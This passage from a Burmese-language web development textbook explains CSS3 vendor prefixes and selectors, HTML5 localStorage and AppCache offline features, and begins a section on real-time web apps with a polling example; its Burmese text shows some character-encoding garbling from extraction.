Prefix လိုိ့ ခါ်တဲ့ ိရေးထုံးတစ်မျို းနဲ့ ိရေးသားအသံုးပပုိပးရေပါတယ်။ ဥပမာ linear-gradient() လုပ်ိ ဆာင်
ချက်ြကုိြ  Mozilla Firefox  မာှအလပုလ်ပု်ိ စချငရ်ေင်  ိရေှ့ကြိန -moz- ဆုိတဲ့  Prefix  ထည့်သွငး်ိရေးသားိပးရေပါ
တယ်။ 

background: -moz-linear-gradient(top, #fff, #ddd);

ဒလီိုိ ရေးသားိပးိတာမ့ှ  Firefox 21  နဲ့ ိရေှ့ပိုငး်  Browser  ိတမွာှ  Linear Gradient  လုပ်ိ ဆာငခ်ျက်ြကြအလပု်
လပုမ်ာှပဖေစ်ပါတယ်။  -moz- Prefix  ဟာ  Mozilla  ကြသတမ်တှထ်ားတဲ့  Prefix  မို့  ဒနီညး်နဲ့ိ ရေးသားထားတဲ့လပု်
ိဆာငခ်ျက်ြ ိတကွြ Mozilla နဲ့  Mozilla ရေဲ့  Browser Engine ပဖေစ်တဲ့ Gecko Rendering Engine ကုိြသံုးထား
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တဲ့ Browser များမာှ သာအလပုလ်ပုမ်ာှပါ။ Mozilla Engine သံုးမထားတဲ့ အပခား Browser များမာှအလပုလ်ပုမ်ာှ
မဟတုပ်ါဘးူ။ အလားတပူဲ ဒလီပု်ိ ဆာငခ်ျက်ြကုိြ  Google Chrome Version အိဟာငး်ိတ ွမာှအလပုလ်ပု်ိ စချင်
ရေင ်ိရေှ့ကြ  -webkit- Prefix ထည့်ိ ပးရေပါတယ်။

background: -webkit-linear-gradient(top, #fff, #ddd);

Google  Chrome  ဟာ ယခငက်ြ  Webkit  Rendering  Engine  ကုိြသံုးထားတဲ့အတက်ွြ ိရေှ့ကြိန -webkit-
Prefix ထည့်သွငး်ိပးရေပခငး် ပဖေစ်ပါတယ်။ ဒီိ ရေးနညး်အတိုငး် ထည့်သွငး်ိရေးသားထားရေင် အပခား Webkit Engine
ကုိြသံုးထား  တဲ့  Browser  ိတပွဖေစ်အကြတဲ့  Apple  Safari,  Android  Browser  နဲ့  iOS Browser  တို့မာှလညး်
အလပုလ်ပုမ်ာှပဖေစ် ပါတယ်။ Internet Explorer ရေဲ့  စမး်သပ် Feature ိတအွတက်ွြ -ms- Prefix ကုိြ အသံုးပပုရေပါ
တယ်။ ဒါိအကြာင့် တစ်ချို ့စမး်သပ်အဆင့်  CSS3 Feature ိတကုိွြ အသံုးပပုလိုတယ်၊ Browser  အားလုံးမာှအလပု်
လပုတ်ာလညး် ိသချာိစ လုိတယ်ဆုိရေင် အခလုိုိ ရေးသားရေိလရ့ေှိပါတယ်။

#dialog {
  background: linear-gradient(top, #fff, #ddd);
  background: -webkit-linear-gradient(top, #fff, #ddd);
  background: -moz-linear-gradient(top, #fff, #ddd);
  background: -ms-linear-gradient(top, #fff, #ddd);
}

လပု်ိ ဆာငခ်ျက်ြတစ်ခရုေဖေိုအ့တက်ွြ  (၄)  ကကိြမ်ိ ရေးရေတဲ့သိဘာပဖေစ်ပါတယ်။  အိပါ်ဆံုးတစ်ခကုြ  Official  CSS3
Support လုပတ်ဲ့ Browser များမာှ အလပုလ်ပု်ိ စဖေို့ပဖေစ်ပါတယ်။ ကြျနအ်ဆင့်များ ကုိြိတာ့ Browser ိတကွြ သူတို့
နားလညတ်ဲ့ လုိငး်ကြို ိရေးွချယ်အလပုလ်ပုသွ်ားပါလမိ့်မယ်။ နားမလညတ်ဲ့လိုငး်ိတကုိွြိတာ့ Ignore လုပသွ်ားမာှပဖေစ်
ပါတယ်။ ဒနီညး်နဲ့ စမး်သပ် Feature ိတကုိွြ Browser အများစုမာှ အလပုလ်ပုသွ်ားိအာင် ိရေးသားအသံုးပပုနိုငမ်ာှ
ပဖေစ်ပါတယ်။ သိပသ်ဘာဝ မကြျလှိ ပမယ့် ဒနီညး်နဲ့ပဲ   CSS3  လပု်ိ ဆာငခ်ျက်ြ အများအပပားကုိြ  Website  အများ
အပပားကြ လက်ြရေှိမာှအသံုးချထား အကြပါတယ်။

မတ်ှချကြ် ။ ။ Google Chrome, Chromium နဲ့ Opera Browser တုိဟ့ာ Blink အမညရ်ေ Rendering Engine ကြို ိပပာငး်လဲ
အသုံးပပုိနပါပပ။ီ  Vendor Prefix  ိတွကြ  Developer  ိတွကြို အလုပပ်ိုိ စပပးီ သဘာဝမကြျလုိ့  Blink Engine  ကြ  Vendor
Prefix  ိတွကြိုအသုံးပပုမာှမဟတ်ုဘးူလုိ့  ဆုိပါတယ။် ဒါိအကြာင့် ိနာကြပ်ိုငး်မာှ စမး်သပလု်ပ်ိ ဆာငခ်ျကြ် ိတွကြိုလညး်  Vendor
Prefix ိတွ ထည့်စရောမလုိပ ဲအသုံးပပုနိုငလ်ာဖေို့ရေှိပါတယ။်
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CSS3 Selector
CSS3  မာှ  Selector  အိတာမ်ျားများလညး်  ပဖေည့်စွက်ြပါဝငလ်ာပါတယ်။  အဲဒ့ထီကဲြ  လက်ြိတွ့အသုံးဝငမ်ယ်
Selector တစ်ချို ့ကုိြ ိရေးွချယ်ိဖောပ်ပိပးလိုက်ြပါတယ်။

img[src$=png] - Attribute Selector  အတက်ွြ $= Operator  ပဖေည့်စွက်ြပါဝငလ်ာပခငး် ပဖေစ်ပါတယ်။  "အဆံုး
သတ်"  ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  src Attribute  အတက်ွြ  Value  မာှ  png နဲ့အဆံုးသတထ်ားတဲ့  <img>
Element များကုိြ Select လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။်

img[src^=blue] - Attribute Selector အတက်ွြ ^= Operator ပဖေည့်စွက်ြပါဝငလ်ာပခငး် ပဖေစ်ပါတယ။် "အစ"
ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ src Attribute အတက်ွြ Value မာှ blue နဲ့ အစပပုထားတဲ့ <img> Element များကုိြ
Select လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။

img[src*=bird] - Attribute Selector အတက်ွြ *= Operator ပဖေည့်စွက်ြပါဝငလ်ာပခငး် ပဖေစ်ပါတယ။် "ပါဝင်
လျှင်"  ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  src Attribute  အတက်ွြ  Value  မာှ  bird  ပါဝငတ်ဲ့  <img> Element  များကုိြ
Select လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။

p:empty - :empty Pseudo-Class ကြ Content မပါဝငတ်ဲ့ Element အလတွ်ိ တကုိွြ Select လပုဖ်ေို့ အသံုးပပု
နိုင် ပါတယ်။ နမနူာအရေ Content မရေှိတဲ့ <p> Element များကုိြ Select လပုသွ်ားမာှပဖေစ်ပါတယ်။

p:not(.note) - :not Pseudo-class ပဖေစ်ပါတယ်။ နမနူာအရေ Class note လို့သတမ်တှထ်ားပခင်းမရေှိတဲ့  <p>
Element များကုိြသာ ိရေးွချယ် Select လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။်

ul ~ p - Sibling selector  လ့ုိိခါ်ပါတယ်။  Parent  တတူဲ့ ညီ/ညမီ များကုိြ ိရေးွချယ်ိပးသာွးမာှပါ။  အစ်ကိြု/
အစ်မိတွိ တာ ့မပါပါဘးူ။ ဥပမာ - Document Structure ကြ အခလုိုရေှိတယ်ဆိပုါစုိ။့

<p> … </p>
<ul> … </ul>
<p> … </p>
<p> … </p>

<p> Element  (၃)  ခပုါဝင်ိ ပမယ့်  ul ~ p Selector  ကြ  <ul> Element  ရေဲ့  ိအာက်ြမာှိရေးထားတဲ့  <p>
Element နစ်ှခကုိုြပဲ Selector လုပ်ိ ပးသွားမာှပဖေစ်ပါတယ။် အိပါ်ကြတစ်ခ ုမပါဝငပ်ါဘူး။

:nth-child, :target စတဲ့အပခား စိတဝ်ငး်စားဖေိုိ့ ကြာငး်တဲ့  Pesudo-Class  ိတလွညး်ရေှိပါိသးတယ်။ ဒါ
ိပမယ့်  Selector  အသစ်ိတကွြ  Property  ိတ၊ွ  Value  ိတလွို  Fallback  များနဲ့ိ ရေးသားဖေိုမ့လယ်ွပါဘးူ။  ဒါ
ိအကြာင့်  Property နဲ့  Value ိတကုိွြသာ ထိိရောက်ြိအာငအ်သံုးချပပးီ  Selector ိတကုိွြိတာ့  Browser Support
ိတ ွအခ ုထက်ြ ပိုိ ကြာငး်လာိအာင ်ိစာင့်အကြရေဦးမာှပါ။
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13.9 - Offline Features
Web App  တစ်ခမုာှပါဝငတ်ဲ့  Resources  ိတနွဲ့  Data  ိတဟွာ အိပခခအံားပဖေင့်  Web Server  မာှ သိမး် ဆညး်
ထားပခငး်ပဖေစ်ပပးီ အသံုးပပုလိုတဲ့အခါ Client ကြ Server ထကံြိန Request လပုပ်ပးီ ိတာငး်ခရံေယူအကြရေပါတယ်။ ဒီ
လို App ကြ Server ကုိြမှီခိုိ နရေလို့ အငတ်ာနက်ြ အဆက်ြအသွယ်မရေှိရေင် ကြျွန်ိ တာတ်ို့ App ဟာ ဘာမှ သံုးမရေိတာ့
တဲ့ အရောတစ်ခပုဖေစ်သာွးမာှပါ။

အချို ့   Data  ိတနွဲ့  Resource  ိတကုိွြ၊  Client-Side  မာှခွဲပခား  သိမး်ဆညး်ထားနိုငမ်ယဆုိ်ရေင၊်  တက်ြနိုငသ်မျှ
Client-Side  မာှသိမ်းထားတဲ့ အချက်ြအလက်ြများနဲသ့ာ အလပုလ်ပုပ်ပးီ မပဖေစ်မိနလိုအပမ်သှာ  Server  ထကံြရေယူဖေို့
လိုမာှပဖေစ်လို့  Performance  ပိုငး်မာှ  အများကကီြးပိုိ ကြာငး်သွားမာှ  ပဖေစ်ပါတယ။်  လိုအပတ်ဲ့  Resource  ိတနွဲ့
အချက်ြအလက်ြိတကွြ  Client-side  မာှလညး်  ရေှိိ နလို့  အငတ်ာနက်ြဆက်ြသွယ်မထားချနိမ်ာှလညး်  အချို ့ိသာ
လပု်ိ ဆာငခ်ျက်ြိတ ွဆက်ြလက်ြ အသံုးပပုိနနိုငဦ်းမာှပဖေစ်ပါတယ်။

Email App တစ်ခနုပဲဲ နမနူာအကြည့်ပါ။ ပထမတစ်ကကိြမ်  Server  နဲ့ဆက်ြသွယ်စဉမ်ာှ  Inbox ထဲမာှ ရေှိိ နတဲ့  Email
ိတကုိွြ  ရေယူပပးီ  Client-side  မာှသိမ်းဆညထ်ားလိုက်ြမယဆုိ်ရေင၊်  Email  တစ်ိစာငဖ်ေငွ့်ဖေတလ်ိုတိုငး်  Server  ထံ
ကြိနရေယူ  ိနစရောမလိို တာပ့ဲ  Client-side  မာှ  သိမး်ဆညး်ထားတဲ့  Email  ကုိြိဖောပ်ပနိုငလ်ို့  ပိုပမနသွ်ားမာှပဖေစ်ပါ
တယ်။ အငတ်ာနက်ြ အဆက်ြအသွယ်မရေှိိ တာရ့ေငလ်ညး်  (Email  ပို့လိုမ့ရေနိုင်ိ ပမယ့်)  ရေယူထားပပီးသား  Email  ိတွ
ကုိြ ဖေတလ်ိုိ့ တာရ့ေိနဦးမာှပါ။ ဒီိ နရောမာှ ကြျွန်ိ တာဆိ်လုိုတဲ့  Resource  ိတနွဲ့  အချက်ြအလက်ြများကုိြ သိမး်ဆညး်
တယ်ဆုိရေင်  Browser  ဖေငွ့်ထားစဉ်  ယာယီသိမး်ဆညး်ထားတာမျို းမဟတုပ်ါဘးူ။  တစ်ကြယ်သိမး်ဆညး်ထားနိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြမျို းကုိြဆုိလိုတာပါ။  ဒါိအကြာင့်  Browser  ကုိြပတိပ်ပးီ  ိနာက်ြတစ်ိခါက်ြပပနဖ်ေငွ့တ်ဲ့အချနိမ်ာှလညး်
သိမး်ဆညး်ထားတဲ့အချက်ြအလက်ြများနဲ့ ဆက်ြလက်ြအသံုး ပပုနိုင်ိ စမယ့် လပု်ိ ဆာငခ်ျက်ြမျို းပဖေစ်ပါတယ်။

HTML5  မတိုငခ်ငက်ြ  ဒလီိုလပု်ိ ဆာငခ်ျက်ြမျို းရေရေှိဖေို့အတက်ွြ  Cookie  ိတနွဲ့  အချက်ြအလက်ြိတသိွမး်ဆည်းပပးီ
အမျို းမျို း အကံြဆအသံုးပပုခဲ့အကြပါတယ်။ တစ်ချို ့ိနရောိတမွာှအလပုပ်ဖေစ်ိပမယ့် လက်ြိတွ့မာှ   Cookie ကုိြယ်တိုငက်ြ
အကြန့်အသတ် ိတရွေှိိ နပါတယ်။

ပထမတစ်ချက်ြကြိတာ့  Cookie Data များဟာ Request  လပုလ်ိုက်ြတိုငး်  Server  ထံထည့်သွငး်ိပးပိုရ့ေပခငး်ပဖေစ်ပါ
တယ်။ ဒီိ တာ့ လက်ြိတွ့မာှ အသံုးမိတာရ်ေင် Cookie ထဲမာှသိမး်လိုက်ြမှ ကြျွန်ိ တာတ်ို့ App ရေဲ့အလပုလ်ပုပ်ုံ ပိုပမနမ်
လာ ပဲ ပိုိ နးှသွားနိုငပ်ါိသးတယ်။ ိနာက်ြပပဿနာကြ Cookie ကြလက်ြခနံိုငတ်ဲ့အချက်ြ အလက်ြပမာဏ ဟာ 4KB
ခန့်သာ အပမင့်ဆံုးပဖေစ်ပါတယ်။ ဒပီမာဏနဲ့ လိုချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြများ ရေရေှိဖေိုခ့က်ြပါတယ်။

ဒါိအကြာင့် DHTML userData, Flash Cookie ိခါ် Flash Shared Objects, အ့ဲဒီ  Flash Cookie ကုိြ အိပခခံ
ထားတဲ့  Ajax Massive Storage System (AMASS)  နဲ့  Dojo Storage, Google Gear  စသပဖေင့် နညး်ပညာ
အမျို းမျို းကုိြ  ဖေနတ်းီခဲ့အကြပါတယ်။  HTML5  ကြိတာ့  ဒပီပဿာကုိြိပဖေရေငှး်ိပးနိုငဖ်ေို့  Web  Storage  ိခါ် Local
Storage နညး်ပညာနဲ့ AppCache နညး်ပညာများကုိြ ထည့်သွင်းိပးထားပါတယ်။
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Client-side Data Storage
localStorage ဟာ Cookie က့ဲြသုိ့ Web Browser  ဘက်ြမာှ အချက်ြအလက်ြများသိမး်ဆညး်နိုငတ်ဲ့ နညး်ပညာ
တစ်မျို း ပဖေစ်ပါတယ်။ ဒါိပမယ့် Cookie လို အချက်ြအလက်ြိတကုိွြ Request ိတနွဲ့အတ ူထည့်သွငး်ိပးပို့မာှမဟတု်
လို့  Client/  Server  Communication  ကုိြထခိိုက်ြစရောမရေှိပါဘးူ။  အချက်ြအလက်ြများကုိြ  JavaScript  local
Storage Object  ထမဲာှ  စုစညး်သိမး်ဆညး်  ထားိပးမာှပဖေစ်လို့  အလယ်ွတစ်ကူြ  တည်ိ ဆာက်ြပခငး်၊  ရေယူပခင်း၊
ပယ်ဖေျက်ြပခင်းတို့ကုိြ  ပပုလပုန်ိုင်  ိစမာှပဖေစ်ပါတယ်။  အချက်ြအလက်ြ  တစ်ခကုိုြ  localStorage ထမဲာှ  အခလုို
ထည့်သွငး်သိမး်ဆညး်ထားနိုငပ်ါတယ်။

localStorage.setItem("item", "value");

ဒနီညး်နဲ့  item = value ဆုိတဲ့တနဖ်ေိုးတစ်ခု  တည်ိ ဆာက်ြသိမး်ဆညး်သွားိစမာှပဖေစ်ပါတယ်။  အခန်း  (၆) မာှ
PHP  နဲ့  Cookie များတည်ိ ဆာက်ြပုံိ လလ့ာစဉက်ြ  setcookie("item", "value") လို့ သတမ်တှခ်ဲ့ရေပုံနဲ့
သိပမ်ကွြာပါဘးူ။ အ့ဲဒတီနဖ်ေိုးကုိြ ပပနလ်ညရ်ေယူလိုရေင်ိ တာ ့အခလုိုရေယူနိုငပ်ါတယ်။

var value = localStorage.getItem("item");

ဒနီညး်နဲ့  item localStorage  မာှသိမ်းဆညး်ထားတဲ့တနဖ်ေိုးကုိြ  value Variable  ထကုိဲြိရောက်ြရေှိိ နိစမာှ ပဖေစ်ပါ
တယ်။ ပဖေည့်စွက်ြမတှသ်ားသင့်တဲ့ Method နစ်ှခကုြိတာ့ removeItem() နဲ့  clear() တို့ပဖေစ်ပါတယ်။ တနဖ်ေိုး
တစ်ခကုိုြ  ပယ်ဖေျက်ြလိုရေင်  removeItem() ကုိြအသံုးပပုနိုငပ်ပးီ  တနဖ်ေိုးအားလုံးကုိြရေငှး်ပပစ်လိုရေင်ိ တာ့  clear()
ကုိြ အသံုးပပုနိုင ်ပါတယ်။

localStorage.removeItem("item");
localStorage.clear();

localStorage မာှလညး် သိမ်းဆညး်နိုငတ်ဲ့  ပမာဏအကြန့်အသတရ်ေှိပါတယ။်  Domain  တစ်ခအုတက်ွြ အပမင့်
ဆံုးအိနနဲ့  5MB  အထသိာလက်ြခသိံမး်ဆညး်နိငုပ်ါတယ်။  ဒထီက်ြပိုများများရေရေင်  ပိုိ ကြာငး်မာှပဖေစ်ိပမယ့်  Web
App  ိတကွြ  Client  ရေဲ့  Resource  ကုိြ စိတရ်ေှိတိုင်း သံုးလို့မပဖေစ်ပါဘးူ။  Website  တစ်ခကုြ  100MB  ိလာက်ြသံုး
မယ်ဆုိရေင၊် Website အခု (၂၀) ိလာက်ြ သံုးလိုက်ြယံုနဲ့ အသံုးပပုသူရေဲ့  Storage 2GB ိလာက်ြ ကုြနသွ်ားနိုငပ်ါတယ်။
localStorage အတက်ွြ ဘယ်  Website  ကုိြ ဘယ်ိလာက်ြပမာဏထိ ခငွ့်ပပုမယ်လို့သတမ်တှလ်ို့ရေတဲ့  Setting
ိတွိ တာ့ ိနာက်ြပိုငး်  Browser  ိတမွာှပါဝငလ်ာနိုငပ်ါတယ်။ ဒစီာိရေးသားိနချနိထ်ိိ တာ့  အ့ဲဒလီိုလပု်ိ ဆာငခ်ျက်ြ
မျို းိတ ွပါဝငလ်ာပခငး်မရေှိိ သးပါဘးူ။ ဒါိအကြာင့် 5MB အထပိ ဲိလာိလာဆယ် သံုးလို့ရေဦးမာှပါ။

localStorage ကုိြ  Internet  Explorer  8  အပါအဝင်  Modern  Browser  အားလုံးကြ  Support  လပုလ်ို့
လက်ြိတွ့အသံုးပပုဖေို့ အသင့်ပဖေစ်ိနပပပီဖေစ်တဲ့  HTML5 Feature တစ်ခပုဖေစ်ပါတယ်။
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localStorage ဟာ  သဘာဝအရေ  ရုိးရိုး  Text  Data  ိတကုိွြသာ  လက်ြခသိံမး်ဆညး်ိပမယ်။့  လိုအပတ်ဲ့အခါ
Object ိတကုိွြပါ သိမး်လို့ရေပါတယ်။ ဥပမာ - အခလုို JSON Object Array တစ်ခရုေှိတယ် ဆုိအကြပါစုိ။့

var data = [
{ id: 1, name: 'Technology', remark: '' },
{ id: 2, name: 'History', remark: '' },
{ id: 3, name: 'Language', remark: '' }

];

ဒလီို Structure လုိက်ြရေှိိ နတဲ့ အချက်ြအလက်ြိတကုိွြ သိမး်တဲ့အခါ သိပပ်ုံသိမ်းနညး်ကြိတာ ့ဒလီိုပါ -

localStorage.setItem("data", JSON.stringify( data ));

JSON.stringify() Function ကုိြ သံုးပပးီ JSON Object Array ကုိြ Serialize လပုပ်ပးီ String ပဖေစ်ိအာင် ိပပာငး်
လိုက်ြပခငး်  ပဖေစ်ပါတယ်။  ဒလီိုိ ပပာငး်ပပးီမှ  သိမး်ထားတဲ့  အချက်ြအလက်ြိတကုိွြ  ပပနလ်ညထ်တုယူ်တဲ့အခါ  မလူ
Object ရေိအာင ်အခလုို ပပနလ်ညရ်ေယူနိုငပ်ါတယ်။

var data = JSON.parse( localStorage.getItem("data") );

JSON.parse() Function ရေဲ့  အကူြအညနီဲ့ Serialize လုပထ်ားတဲ့ String ကုိြ Object ပဖေစ်ိအာင် ပပန်ိ ပပာငး်လိုက်ြ
ပခငး်ပဲ ပဖေစ်ပါတယ်။ ဒနီညး်ကြ လက်ြိတွ့အသံုးများတဲ့ နညလ်မး်တစ်ခ ုပဖေစ်ပါတယ်။

ိနာက်ြထပစိ်တဝ်ငစ်ားဖေို့ိ ကြာငး်တဲ့  Client-side  Storage  Feature  တစ်ခကုြိတာ့  IndexedDB ပဖေစ်ပါတယ်။
အချက်ြ အလက်ြများကုိြ  Record  များနဲ့  သိမး်ဆညး်နိုငတ်ဲ့  Database  တစ်မျို းပဖေစ်ပါတယ်။ ဒီိ နရောမာှိတာ့  ထည့်
သွငး်မိဖောပ်ပနိုင်ိ တာပ့ါဘးူ။ ဆက်ြလက်ြိလလ့ာ အကြည့်သင့်ပါတယ်။

Offline App
အခုိ နာက်ြပိုငး်မာှ Web App ိတရွေဲ့အဓကိြလပု်ိ ဆာငခ်ျက်ြိတကွြ Client-side ဘက်ြကုိြ ိရောက်ြရေှိလာိအကြာငး် ိရေှ့
ပိုငး်မာှ  ိဖောပ်ပခဲ့ပါတယ်။  ဒလီို  Client-side  မာှအဓိကြအလပုလ်ပု်ိ နတဲ့  Web  App  ိတကုိွြ  အငတ်ာနက်ြ
အဆက်ြအသွယ်မရေှိပဲ Offline ပဖေစ်ိနချနိမ်ာှ အသံုးပပုနိုင်ိ အာငစီ်မထံားနိုငတ်ဲ့ Feature တစ်ခလုညး် HTML5  မာှ
ပါဝငပ်ါ တယ်။ AppCache လိုိ့ ခါ်ပါတယ်။

Offline ပဖေစ်ိနချနိမ်ာှအလပုလ်ပုန်ိုငဖ်ေိုအ့တက်ွြ သိမး်ဆညး်ထားရေမယ့်  Resource စာရေငး်ကိြု Cache Manifest ဆုိ
တဲ့  File  တစ်မျို းနဲ့  စုစညး်ိပးထားရေမာှပဖေစ်ပါတယ်။  Resource  ဆုိတာ၊  HTML Document  ိတ၊ွ  CSS File
ိတ၊ွ  JavaScript  File  ိတ၊ွ  Image  ိတနွဲ့  Script  File  ိတကုိွြ ပခုံပပးီိခါ်လိုက်ြတာပါ။  အဲဒီ   File  ကုိြ  Web
Document ိတ ွကြိန အခလုိုချတိဆ်က်ြိပးနိုငပ်ါတယ်။
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<!doctype html> 
<html manifest="/cache.manifest"> 
<body> 
... 
</body> 
</html>

<html> Element  မာှ  manifest Attribute  နဲ့  cache.manifest လို့အမည်ိ ပးထားတဲ့  File  ကုိြညွှနး်ဆုိ
ချတိ ်ဆက်ြိပးထားပခင်းပဖေစ်ပါတယ်။ cache.manifest File ထဲမာှိရေးသားရေမယ့် ပုံစံကြိတာ ့ဒလီိုပါ - 

CACHE MANIFEST

FALLBACK: 
/ /offline.html 

NETWORK: 
* 

CACHE: 
/style.css 
/app.js 
/logo.png

အိပါ်ဆံုးကြ  CACHE MANIFEST ိအကြပငာချက်ြကြိတာ့  အပမတဲမး်ပါဝငရ်ေမယ့်  သတမ်တှခ်ျက်ြပဖေစ်ပါတယ။်  သူ့
ိအာက်ြ မာှ Section (၃) ခပုါဝငပ်ါတယ်။ FALLBACK: Section ိအာက်ြမာှ Resource တစ်ခကုိုြ မိဖောပ်ပနိုငလ်ို့
Error ပဖေစ်တဲ့အခါ အစားထိုးိဖောပ်ပိစလိုတဲ့ Document သတမ်တှထ်ားနိုငပ်ါတယ်။ 

နမနူာမာှ ိရေးသားထားတဲ့ - 

/ /offline.html

-  ရေဲ့  အဓပိ္ပါယ်ကြ၊ သတမ်တှထ်ားတဲ့  Resource ကုိြမိဖောပ်ပနိုငရ်ေင်  offline.html ကုိြ အစားထိုးိဖောပ်ပိပးပါဆုိ
တဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ ိရေှ့ ဆံုးကြ / Sign ကြ "ဘယ် Resource ကုိြမဆိ ုမိဖောပ်ပနိုငတ်ဲ့အခါ" ဆုိတဲ့အဓပိ္ပါယပ်ါ။

NETWORK: Section ိအာက်ြမာှ အငတ်ာနက်ြရေှိမသှာအလပုလ်ပု်ိ စလိုတဲ့  Resource စာရေငး်ိပးရေမာှပါ။ နမနူာမာှ
ိပး ထားတဲ့  * Sign  ရေဲ့အဓပိ္ပါယ်ကြိတာ့  "အငတ်ာနက်ြအဆက်ြအသွယ်ရေှိိ နရေင်  Resource  အားလုံးအတက်ွြ အင်
တာနက်ြသံုး ပပးီိတာသ့ာ အလပုလ်ပုပ်ါ" ဆုိတဲ့အဓပိ္ပါယ ်ပဖေစ်ပါတယ်။

CACHE: Section  ိအာက်ြမာှိတာ့  သိမး်ဆညး်ထားိစလိုတဲ့  Resource  စာရေငး်ကုိြ  တနး်စီိ ပးထားနိုငပ်ါတယ်။
Web Browser ကြ Manifest File ကုိြရေရေှိပပးီတာနဲ့ ဒီ CACHE: Section မာှသတမ်တှထ်ားတဲ့ Resource ိတကုိွြ
တစ်ခပုခငး် Download လပုယူ်ပပးီ Offline အသံုးပပုနိုင်ိ အာင ်စတငသိ်မး်ဆည်းသွားမာှပါ။ 
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မတ်ှချကြ် ။ ။ cache.manifest ကြိုချိတ်ဆကြထ်ားတ့ဲ Document ကြိတာ့ သမိး်ဆညး်ရေမယ့်စာရေငး်ထဲမာှ အလုိလိုပါပပးီပဖေစ်
လုိ ့စာရေငး်ထဲမာှထပ် ထည့်ဖေို့မလုိိတာပ့ါဘးူ။

ဒနီညး်နဲ့ ကြျွန်ိ တာ် တ့ုိ App ရေဲ့  အချို ့အစိတအ်ပိုငး်ိတကုိွြ အငတ်ာနက်ြအဆက်ြအသွယ်မရေှိတဲ့  Offline အိပခအိန
မာှလ ဲဆက်ြလက်ြ အလပုလ်ပု်ိ နနိုင်ိ အာင ်စီမထံားနိုငမ်ာှပပဲဖေစ်ပါတယ်။

13.10 - Real-Time Web Apps
အခန်း (၁) မာှ HTTP အိအကြာငး်ိဖောပ်ပခဲ့စဉက်ြ HTTP ဟာ ဆက်ြသွယ်မှုတစ်ခကုိုြ Client ကြသာ အပမဲအစပပုရေတဲ့
Pull Technology တစ်မျို းပဖေစ်ိအကြာငး်ိဖောပ်ပခဲ့ပါတယ်။ ပုံမနှအ်ားပဖေင့်  Web App တစ်ခအုတက်ွြ ဒါဟာ ပပဿနာ
မဟတု်ိ ပမယ့်  Real-Time  App  လိုိ့ ခါ်တဲ့  အချက်ြအလက်ြိတ ွ အပမဲိ ပပာငး်လဲိ နတဲ့  Web  App  ိတအွတက်ွြ
အကြန့်အသတ် ပဖေစ်လာိစပါတယ်။ ဥပမာ - အပပန်အလနှ် Message ပို့လိုရ့ေတဲ့ Chat App တစ်ခဆုိုပါစုိ။့ Client A
ပို့လိုက်ြတဲ့  Message  ကြ  Server  ကုိြိရောက်ြသွားမာှပဖေစ်ိပမယ့်၊  HTTP  ရေဲ့သဘာဝအရေ  Client  B  ဆီကုိြ  အလို
အိလျှာက်ြ  ချက်ြပခငး်ိရောက်ြသွားမာှ  မဟတုပ်ါဘးူ။  Client  B  ကြ  Server  ထံကြိန ဆက်ြသွယရ်ေယူိတာမ့သှာ
Client A ိပးပို့ထားတဲ့ Message ကုိြိတွ့ ပမငရ်ေမာှပဖေစ်ပါတယ်။ ဒီိ တာ့ Client A ပို့လိုက်ြတဲ့ Message ကြ Client
B ထကုိံြ ချက်ြပခငး်မိရောက်ြတဲ့အတက်ွြ Real-Time မပဖေစ်ဘးူလို့ဆုိနိုငပ်ါတယ်။ Real-Time ပဖေစ်ဖေို့ဆိရုေင် ဆက်ြသွယ်
မှုကုိြ  Client  ကြချညး်အစပပုိနလို့မရေိတာပ့ါဘးူ။  Server  ကြလညး်  အချက်ြအလက်ြိတကုိွြ  Push  လပု်ိ ပးနိုငဖ်ေို့
လိုအပလ်ာပါတယ်။

Facebook, Google+, Twitter, Gmail စတဲ့ App ိတဟွာ Real-Time Data ကုိြအိပခခပံပးီ အလပုလ်ပု်ိ နအကြ
တာပါ။ ဥပမာ  -  Gmail  မာှ  Mail  တစ်ိစာငဝ်ငလ်ာရေင်  ချက်ြပခငး်သိရေပါတယ်။  Real-Time  ပဖေစ်တယ်လို့ဆုိရေပါ
မယ်။  Facebook  မာှ ကြျွန်ိ တာတ်ို့တငထ်ားတဲ့  ပုံတစ်ပုံအတက်ွြ  Comment  တစ်ခရုေရေှိတာနဲ့  Notification  ချက်ြ
ပခငး်တက်ြပပးီ ချက်ြပခင်းသိရေပါတယ်။  Real-Time  အလပုလ်ပု်ိ နပခငး်ပဖေစ်ပါတယ။်  HTTP ကြ Pull Technology
သက်ြသက်ြသာပဖေစ်ိန ပပးီ  Server  Push  မရေှိတဲ့အတက်ွြ ဒလီို  Real-Time  လုပ်ိ ဆာငခ်ျက်ြရေရေှိဖေို့  Ajax  အိပခပပု
နညး်လမး်အမျို းမျို းနဲ ့ယခငက်ြ အကံြဆအသုံးပပုခဲ့အကြရေပါတယ်။

ပထမနညး်လမး်ကြိတာ့  Interval  တစ်ခသုတမ်တှပ်ပးီ  Server  ထံ  Request  ိတ ွအဆက်ြမပပတ်ိ ပးပိုပ့ခငး် ပဖေစ်ပါ
တယ်။ ဥပမာ - (၅)  စကြ္ကန့်တစ်ကကိြမ်  Server  ထံ Request  ပပုလပုပ်ပးီ ိနာက်ြဆံုး  Update ကုိြ ိတာငး်ယူိနပခငး်
အားပဖေင့် Server မာှရေှိတဲ့ Update ကုိြ အပမရဲေရေှိိ နိအာင ်ိဆာငရ်ေက်ွြတဲ့သိဘာပဖေစ်ပါတယ်။

setInterval(function() {
  $.get('get-data.php', function() {
    // update data
  });
}, 5000);

အထက်ြကြနမနူာကုိြ ိလ့လာအကြည့်ရေင် JavaScript setInterval() Method ကြ ိပးထားတဲ့ Function တစ်ခု
ကုိြ သတမ်တှခ်ျနိအ်တငွး် ထပခ်ါထပခ်ါ အလပုလ်ပု်ိ ပးိနမာှပဖေစ်ပါတယ်။ အချနိကုိ်ြ Millisecond နဲ့သတမ်တှ်ိ ပးရေ
